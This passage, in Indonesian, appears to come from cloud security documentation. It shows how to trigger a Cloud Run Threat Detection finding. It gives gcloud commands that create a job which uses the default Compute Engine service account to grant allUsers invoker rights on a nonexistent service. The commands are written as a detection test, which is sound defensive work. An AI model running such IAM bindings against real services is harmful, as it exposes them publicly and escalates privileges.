Untuk memicu temuan Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, jalankan perintah yang menggunakan akun layanan Compute Engine default untuk menetapkan kebijakan IAM layanan Cloud Run.
Buat dan jalankan tugas Cloud Run:
JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Prosedur pengujian ini membuat temuan Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.
Langkah berikutnya
- Pelajari lebih lanjut Deteksi Ancaman Cloud Run.
- Pelajari cara menggunakan Deteksi Ancaman Cloud Run.